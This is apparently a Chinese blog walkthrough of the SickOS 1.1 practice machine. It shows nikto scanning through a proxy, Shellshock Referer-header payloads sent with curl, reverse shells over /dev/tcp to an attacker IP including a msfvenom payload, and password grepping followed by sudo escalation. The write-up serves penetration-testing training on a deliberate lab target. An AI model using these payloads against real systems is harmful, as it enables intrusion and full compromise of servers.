OSCP(扩展篇靶机SickOS1.1)

发布时间 2023-12-08 15:52:52作者: justdoIT*

第一步:nmap和nikto

nikto:https://zhuanlan.zhihu.com/p/124246499

 8080 http-proxy

我们是利用3128查看nikto是否存在可利用的漏洞

nikto -h 192.168.107.148 --useproxy 192.168.107.148:3128

扫描目标时,部分目标部署了防护设备,为避免暴露 ip可以使用代理进行扫描,nikto 支持设置代理,参数是 - useproxy。当然,需要配合其他代理工具(比如proxychains)使用

OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).

 

第二步:利用/cgi-bin/status的shellshock exploit(shellshock)

192.168.107.148:3128

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞

curl -v --proxy 192.168.107.148:3128 http://192.168.107.148/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

/cgi-bin/status是目标服务器上的一个CGI脚本路径。 -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit": 这个选项指定了一个自定义的请求头"Referer"。Shellshock漏洞可以通过构造恶意的Referer头来执行任意命令。在这个例子中,构造的Referer头包含了一段Shellshock的Payload,以执行/usr/bin/id命令并打印当前用户的身份信息。

 

第三步:shellshock反向shell利用

bash:   bash -i >& /dev/tcp/192.168.107.129/8080 0>&1

curl -v --proxy 192.168.107.148:3128 http://192.168.107.148/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; bash -i >& /dev/tcp/192.168.107.129/8080 0>&1"

 这种方式不行,Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,我们要生成unix的

sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.107.129 lport=4444 -f raw 

 bash -c '0<&113-;exec 113<>/dev/tcp/192.168.107.129/4444;sh <&113 >&113 2>&113'

将playload改为:

curl -v --proxy 192.168.107.148:3128 http://192.168.107.148/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; 0<&113-;exec 113<>/dev/tcp/192.168.107.129/4444;sh <&113 >&113 2>&113"

 显示没有对应的目录,因此要把命令中的sh写为完整路径/bin/bash    

/bin/bash: sh: No such file or directory

将playload改为:

curl -v --proxy 192.168.107.148:3128 http://192.168.107.148/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; 0<&113-;exec 113<>/dev/tcp/192.168.107.129/4444;/bin/bash <&113 >&113 2>&113"

 

第四步:获取ttyshell

python -c 'import pty; pty.spawn("/bin/bash")'

cat /etc/passwd

find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass      -----查看硬编码的线索

 得出的john@123其实就是sickos的密码

 sudo -l 发现所有权限都有

 获得旗帜

 

完结撒花~